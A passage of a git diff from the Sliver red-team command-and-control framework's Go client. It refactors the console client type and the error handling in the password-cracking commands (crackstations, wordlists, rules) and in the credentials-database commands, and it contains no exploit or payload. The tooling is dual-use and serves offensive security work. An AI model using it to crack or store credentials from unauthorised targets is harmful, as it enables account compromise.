name (blank = filename)") + }) + carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file")) + hcstat2Cmd.AddCommand(hcstat2AddCmd) + + hcstat2RmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove hcstat2 file", + Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + CrackHcstat2RmCmd(cmd, con, args) + }, + } + carapace.Gen(hcstat2RmCmd).PositionalCompletion(CrackHcstat2Completer(con).Usage("hcstat2 to remove")) + hcstat2Cmd.AddCommand(hcstat2RmCmd) + + return []*cobra.Command{crackCmd} +} diff --git a/client/command/crack/crack-files.go b/client/command/crack/crack-files.go index cd7af7c7cd..92425d4f77 100644 --- a/client/command/crack/crack-files.go +++ b/client/command/crack/crack-files.go @@ -35,11 +35,11 @@ import ( "github.com/bishopfox/sliver/util" ) -// CrackWordlistsCmd - Manage GPU cracking stations -func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackWordlistsCmd - Manage GPU cracking stations. +func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(wordlists.Files) == 0 { @@ -55,11 +55,11 @@ func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg } } -// CrackRulesCmd - Manage GPU cracking stations -func CrackRulesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackRulesCmd - Manage GPU cracking stations. +func CrackRulesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(rules.Files) == 0 { @@ -75,11 +75,11 @@ func CrackRulesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] } } -// CrackHcstat2Cmd - Manage GPU cracking stations -func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackHcstat2Cmd - Manage GPU cracking stations. +func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverClient, args []string) { hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(hcstat2.Files) == 0 { @@ -95,9 +95,10 @@ func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) { +func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{"Name", "Size"}) for _, file := range crackFiles.Files { tw.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)}) @@ -105,20 +106,23 @@ func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverConsole con.Printf("%s\n", tw.Render()) } -func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) { +func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverClient) { wordlistTable := table.NewWriter() wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal) wordlistTable.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(wordlistTable) wordlistTable.AppendHeader(table.Row{"Name", "Size"}) rulesTable := table.NewWriter() rulesTable.SetTitle(console.Bold + "Rules" + console.Normal) rulesTable.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(rulesTable) rulesTable.AppendHeader(table.Row{"Name", "Size"}) hcTable := table.NewWriter() hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal) hcTable.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(hcTable) hcTable.AppendHeader(table.Row{"Name", "Size"}) wordlists := 0 @@ -162,8 +166,8 @@ func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverC ) } -// CrackWordlistsAddCmd - Manage GPU cracking stations -func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackWordlistsAddCmd - Manage GPU cracking stations. +func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name, _ := cmd.Flags().GetString("name") var localPath string @@ -196,7 +200,7 @@ func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, IsCompressed: true, }) if err != nil { - con.PrintErrorf("Failed to create file: %s\n", err) + con.PrintErrorf("Failed to create file: %s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Adding new wordlist '%s' (uncompressed: %s)\n", @@ -206,8 +210,8 @@ func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, addCrackFile(wordlist, crackFile, con) } -// CrackRulesAddCmd - add a rules file -func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackRulesAddCmd - add a rules file. +func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name, _ := cmd.Flags().GetString("name") var localPath string @@ -240,7 +244,7 @@ func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args IsCompressed: true, }) if err != nil { - con.PrintErrorf("Failed to create file: %s\n", err) + con.PrintErrorf("Failed to create file: %s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Adding new rules file '%s' (uncompressed: %s)\n", @@ -250,8 +254,8 @@ func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args addCrackFile(rules, crackFile, con) } -// CrackHcstat2AddCmd - add a hcstat2 file -func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackHcstat2AddCmd - add a hcstat2 file. +func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name, _ := cmd.Flags().GetString("name") var localPath string @@ -284,7 +288,7 @@ func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, ar IsCompressed: true, }) if err != nil { - con.PrintErrorf("Failed to create file: %s\n", err) + con.PrintErrorf("Failed to create file: %s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Adding new markov hcstat2 file '%s' (uncompressed: %s)\n", @@ -294,7 +298,7 @@ func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, ar addCrackFile(hcstat2, crackFile, con) } -func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverConsoleClient) { +func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverClient) { digest := sha256.New() wordlistReader := io.TeeReader(localFile, digest) @@ -321,7 +325,7 @@ func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *consol }) n++ if err != nil { - errors = append(errors, err) + errors = append(errors, con.UnwrapServerErr(err)) continue } } @@ -341,7 +345,7 @@ func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *consol Sha2_256: hex.EncodeToString(digest.Sum(nil)), }) if err != nil { - con.PrintErrorf("Failed to complete file upload: %s\n", err) + con.PrintErrorf("Failed to complete file upload: %s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Upload completed (compressed: %s)\n", util.ByteCountBinary(total)) @@ -402,8 +406,8 @@ func readChunkAt(tmpFile *os.File, offset int64, chunkSize int64) ([]byte, error return chunkBuf[:n], nil } -// CrackWordlistsRmCmd - Manage GPU cracking stations -func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackWordlistsRmCmd - Manage GPU cracking stations. +func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var wordlistName string if len(args) > 0 { wordlistName = args[0] @@ -414,7 +418,7 @@ func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a } wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } found := false @@ -423,7 +427,7 @@ func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a found = true _, err := con.Rpc.CrackFileDelete(context.Background(), wordlist) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } break @@ -436,8 +440,8 @@ func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a } } -// CrackRulesRmCmd - Manage GPU cracking stations -func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackRulesRmCmd - Manage GPU cracking stations. +func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var rulesName string if len(args) > 0 { rulesName = args[0] @@ -448,7 +452,7 @@ func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } found := false @@ -457,7 +461,7 @@ func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args found = true _, err := con.Rpc.CrackFileDelete(context.Background(), rulesFile) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } break @@ -470,8 +474,8 @@ func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -// CrackHcstat2RmCmd - remove a hcstat2 file -func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackHcstat2RmCmd - remove a hcstat2 file. +func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var hcstat2Name string if len(args) > 0 { hcstat2Name = args[0] @@ -482,7 +486,7 @@ func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg } hcstat2s, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } found := false @@ -491,7 +495,7 @@ func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg found = true _, err := con.Rpc.CrackFileDelete(context.Background(), hcstat2File) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } break diff --git a/client/command/crack/crack.go b/client/command/crack/crack.go index 829933e132..b2d077ed76 100644 --- a/client/command/crack/crack.go +++ b/client/command/crack/crack.go @@ -32,21 +32,21 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// CrackCmd - GPU password cracking interface -func CrackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackCmd - GPU password cracking interface. +func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if !AreCrackersOnline(con) { PrintNoCrackstations(con) } else { crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("%d crackstation(s) connected to server\n", len(crackers.Crackstations)) } crackFiles, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(crackFiles.Files) == 0 { @@ -57,11 +57,11 @@ func CrackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } } -// CrackStationsCmd - Manage GPU cracking stations -func CrackStationsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CrackStationsCmd - Manage GPU cracking stations. +func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(crackers.Crackstations) == 0 { @@ -71,11 +71,11 @@ func CrackStationsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -func PrintNoCrackstations(con *console.SliverConsoleClient) { +func PrintNoCrackstations(con *console.SliverClient) { con.PrintInfof("No crackstations connected to server\n") } -func AreCrackersOnline(con *console.SliverConsoleClient) bool { +func AreCrackersOnline(con *console.SliverClient) bool { crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{}) if err != nil { return false @@ -83,7 +83,7 @@ func AreCrackersOnline(con *console.SliverConsoleClient) bool { return len(crackers.Crackstations) > 0 } -func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverConsoleClient) { +func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient) { sort.Slice(crackers, func(i, j int) bool { return crackers[i].Name < crackers[j].Name }) @@ -96,7 +96,7 @@ func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverConsole } } -func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverConsoleClient) { +func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n") @@ -135,11 +135,12 @@ func printCracker(cracker *clientpb.Crackstation, index int, con *console.Sliver printBenchmarks(cracker, con) } -func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverConsoleClient) { +func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.SetTitle(console.Bold + "Benchmarks" + console.Normal) tw.SortBy([]table.SortBy{{Name: "Hash Type"}}) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"}) for hashType, speed := range cracker.Benchmarks { tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)}) diff --git a/client/command/crack/helpers.go b/client/command/crack/helpers.go index a5409a2637..026da296e9 100644 --- a/client/command/crack/helpers.go +++ b/client/command/crack/helpers.go @@ -5,16 +5,21 @@ import ( "fmt" "time" + "github.com/rsteube/carapace" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/rsteube/carapace" ) -func CrackHcstat2Completer(con *console.SliverConsoleClient) carapace.Action { +func CrackHcstat2Completer(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { - return carapace.ActionMessage("failed to fetch crack files: %s", err.Error()) + return carapace.ActionMessage("failed to fetch crack files: %s", con.UnwrapServerErr(err)) } results := make([]string, 0) @@ -33,11 +38,15 @@ func CrackHcstat2Completer(con *console.SliverConsoleClient) carapace.Action { }) } -func CrackWordlistCompleter(con *console.SliverConsoleClient) carapace.Action { +func CrackWordlistCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { - return carapace.ActionMessage("failed to fetch crack files: %s", err.Error()) + return carapace.ActionMessage("failed to fetch crack files: %s", con.UnwrapServerErr(err)) } results := make([]string, 0) @@ -57,11 +66,15 @@ func CrackWordlistCompleter(con *console.SliverConsoleClient) carapace.Action { }) } -func CrackRulesCompleter(con *console.SliverConsoleClient) carapace.Action { +func CrackRulesCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { - return carapace.ActionMessage("failed to fetch crack files: %s", err.Error()) + return carapace.ActionMessage("failed to fetch crack files: %s", con.UnwrapServerErr(err)) } results := make([]string, 0) diff --git a/client/command/creds/add.go b/client/command/creds/add.go index 3f7e4352e7..373860d168 100644 --- a/client/command/creds/add.go +++ b/client/command/creds/add.go @@ -25,10 +25,11 @@ import ( "strconv" "strings" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) const ( @@ -37,8 +38,8 @@ const ( CSVFormat = "csv" // username,hash\n ) -// CredsCmd - Add new credentials -func CredsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CredsCmd - Add new credentials. +func CredsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { collection, _ := cmd.Flags().GetString("collection") username, _ := cmd.Flags().GetString("username") plaintext, _ := cmd.Flags().GetString("plaintext") @@ -65,19 +66,19 @@ func CredsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st }, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } PrintCreds(creds.Credentials, con) } -// CredsCmd - Add new credentials -func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CredsCmd - Add new credentials. +func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { collection, _ := cmd.Flags().GetString("collection") filePath := args[0] fileFormat, _ := cmd.Flags().GetString("file-format") @@ -116,12 +117,12 @@ func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a con.PrintInfof("Adding %d credential(s) ...\n", len(creds.Credentials)) _, err = con.Rpc.CredsAdd(context.Background(), creds) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } PrintCreds(creds.Credentials, con) diff --git a/client/command/creds/commands.go b/client/command/creds/commands.go new file mode 100644 index 0000000000..0a2d734de4 --- /dev/null +++ b/client/command/creds/commands.go @@ -0,0 +1,84 @@ +package creds + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + credsCmd := &cobra.Command{ + Use: consts.CredsStr, + Short: "Manage the database of credentials", + Long: help.GetHelpFor([]string{consts.CredsStr}), + GroupID: consts.GenericHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + CredsCmd(cmd, con, args) + }, + } + flags.Bind("creds", true, credsCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + credsAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a credential to the database", + Long: help.GetHelpFor([]string{consts.CredsStr, consts.AddStr}), + Run: func(cmd *cobra.Command, args []string) { + CredsAddCmd(cmd, con, args) + }, + } + flags.Bind("", false, credsAddCmd, func(f *pflag.FlagSet) { + f.StringP("collection", "c", "", "name of collection") + f.StringP("username", "u", "", "username for the credential") + f.StringP("plaintext", "p", "", "plaintext for the credential") + f.StringP("hash", "P", "", "hash of the credential") + f.StringP("hash-type", "H", "", "hash type of the credential") + }) + completers.NewFlagCompsFor(credsAddCmd, func(comp *carapace.ActionMap) { + (*comp)["hash-type"] = CredsHashTypeCompleter(con) + }) + credsCmd.AddCommand(credsAddCmd) + + credsAddFileCmd := &cobra.Command{ + Use: consts.FileStr, + Short: "Add a credential to the database", + Long: help.GetHelpFor([]string{consts.CredsStr, consts.AddStr, consts.FileStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + CredsAddHashFileCmd(cmd, con, args) + }, + } + flags.Bind("", false, credsAddFileCmd, func(f *pflag.FlagSet) { + f.StringP("collection", "c", "", "name of collection") + f.StringP("file-format", "F", HashNewlineFormat, "file format of the credential file") + f.StringP("hash-type", "H", "", "hash type of the credential") + }) + completers.NewFlagCompsFor(credsAddFileCmd, func(comp *carapace.ActionMap) { + (*comp)["collection"] = CredsCollectionCompleter(con) + (*comp)["file-format"] = CredsHashFileFormatCompleter(con) + (*comp)["hash-type"] = CredsHashTypeCompleter(con) + }) + carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file")) + credsAddCmd.AddCommand(credsAddFileCmd) + + credsRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a credential to the database", + Long: help.GetHelpFor([]string{consts.CredsStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + CredsRmCmd(cmd, con, args) + }, + } + carapace.Gen(credsRmCmd).PositionalCompletion(CredsCredentialIDCompleter(con).Usage("id of credential to remove (leave empty to select)")) + credsCmd.AddCommand(credsRmCmd) + + return []*cobra.Command{credsCmd} +} diff --git a/client/command/creds/creds.go b/client/command/creds/creds.go index 73cc5e70b3..7f9a4dbd72 100644 --- a/client/command/creds/creds.go +++ b/client/command/creds/creds.go @@ -33,11 +33,11 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// CredsCmd - Manage credentials -func CredsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CredsCmd - Manage credentials. +func CredsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(creds.Credentials) == 0 { @@ -47,7 +47,7 @@ func CredsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin PrintCreds(creds.Credentials, con) } -func PrintCreds(creds []*clientpb.Credential, con *console.SliverConsoleClient) { +func PrintCreds(creds []*clientpb.Credential, con *console.SliverClient) { collections := make(map[string][]*clientpb.Credential) for _, cred := range creds { collections[cred.Collection] = append(collections[cred.Collection], cred) @@ -58,9 +58,10 @@ func PrintCreds(creds []*clientpb.Credential, con *console.SliverConsoleClient) } } -func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverConsoleClient) { +func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) if collection != "" { tw.SetTitle(console.Bold + collection + console.Normal) } else { @@ -88,7 +89,7 @@ func printCollection(collection string, creds []*clientpb.Credential, con *conso } // CredsHashTypeCompleter completes hash types. -func CredsHashTypeCompleter(con *console.SliverConsoleClient) carapace.Action { +func CredsHashTypeCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { results := make([]string, 0) @@ -101,8 +102,8 @@ func CredsHashTypeCompleter(con *console.SliverConsoleClient) carapace.Action { }) } -// CredsHashFileFormatCompleter completes file formats for hash-files -func CredsHashFileFormatCompleter(con *console.SliverConsoleClient) carapace.Action { +// CredsHashFileFormatCompleter completes file formats for hash-files. +func CredsHashFileFormatCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionValuesDescribed( UserColonHashNewlineFormat, "One hash per line.", HashNewlineFormat, "A file containing lines of 'username:hash' pairs.", @@ -110,17 +111,21 @@ func CredsHashFileFormatCompleter(con *console.SliverConsoleClient) carapace.Act ).Tag("hash file formats") } -// CredsCollectionCompleter completes existing creds collection names -func CredsCollectionCompleter(con *console.SliverConsoleClient) carapace.Action { +// CredsCollectionCompleter completes existing creds collection names. +func CredsCollectionCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + results := make([]string, 0) creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("failed to fetch credentials: %s", err.Error()) + return carapace.ActionMessage("failed to fetch credentials: %s", con.UnwrapServerErr(err)) } if len(creds.Credentials) == 0 { - return carapace.Action{} + return carapace.ActionMessage("No credentials in database") } for _, cred := range creds.Credentials { @@ -134,16 +139,20 @@ func CredsCollectionCompleter(con *console.SliverConsoleClient) carapace.Action } // CredsCredentialIDCompleter completes credential IDs. -func CredsCredentialIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func CredsCredentialIDCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + results := make([]string, 0) creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("failed to fetch credentials: %s", err.Error()) + return carapace.ActionMessage("failed to fetch credentials: %s", con.UnwrapServerErr(err)) } if len(creds.Credentials) == 0 { - return carapace.Action{} + return carapace.ActionMessage("No credentials in database") } for _, cred := range creds.Credentials { @@ -177,6 +186,7 @@ func CredsCredentialIDCompleter(con *console.SliverConsoleClient) carapace.Actio } - return carapace.ActionValuesDescribed(results...).Tag("credentials") + return carapace.ActionValuesDescribed(results...).Tag("credentials"). + Invoke(c).Filter(c.Args).ToA() }) } diff --git a/client/command/creds/rm.go b/client/command/creds/rm.go index c119f0efd1..8b3ec05497 100644 --- a/client/command/creds/rm.go +++ b/client/command/creds/rm.go @@ -20,46 +20,78 @@ package creds import ( "context" + "strings" + + "github.com/spf13/cobra" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) -// CredsCmd - Add new credentials -func CredsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - var id string +// CredsCmd - Add new credentials. +func CredsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if len(args) > 0 { - id = args[0] - } - if id == "" { - credential, err := SelectCredential(false, clientpb.HashType_INVALID, con) + creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } - id = credential.ID - } - _, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{ - Credentials: []*clientpb.Credential{ - { - ID: id, + + if len(creds.Credentials) == 0 { + con.PrintInfof("No credentials 🙁\n") + return + } + + for _, arg := range args { + for _, cred := range creds.GetCredentials() { + if strings.HasPrefix(cred.ID, arg) { + _, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{ + Credentials: []*clientpb.Credential{ + { + ID: cred.ID, + }, + }, + }) + if err != nil { + con.PrintErrorf("Failed to delete credential: %s\n", con.UnwrapServerErr(err)) + return + } + } + } + } + } else { + var id string + if id == "" { + credential, err := SelectCredential(false, clientpb.HashType_INVALID, con) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + + id = credential.ID + } + _, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{ + Credentials: []*clientpb.Credential{ + { + ID: id, + }, }, - }, - }) - if err != nil { - con.PrintErrorf("%s\n", err) - return - } - creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) - if err != nil { - con.PrintErrorf("%s\n", err) - return - } - if len(creds.Credentials) == 0 { - con.PrintInfof("No credentials 🙁\n") - return + }) + if err != nil { + con.PrintErrorf("Failed to delete credential: %s\n", con.UnwrapServerErr(err)) + return + } + + creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) + if err != nil { + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) + return + } + if len(creds.Credentials) == 0 { + con.PrintInfof("No credentials 🙁\n") + return + } + PrintCreds(creds.Credentials, con) } - PrintCreds(creds.Credentials, con) } diff --git a/client/command/creds/select.go b/client/command/creds/select.go index a375937aa0..2ebde7b5ee 100644 --- a/client/command/creds/select.go +++ b/client/command/creds/select.go @@ -15,19 +15,19 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// SelectCredential - Interactive menu for the user to select a credentials from the database -func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverConsoleClient) (*clientpb.Credential, error) { +// SelectCredential - Interactive menu for the user to select a credentials from the database. +func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverClient) (*clientpb.Credential, error) { var creds *clientpb.Credentials var err error if hashType == clientpb.HashType_INVALID { creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil 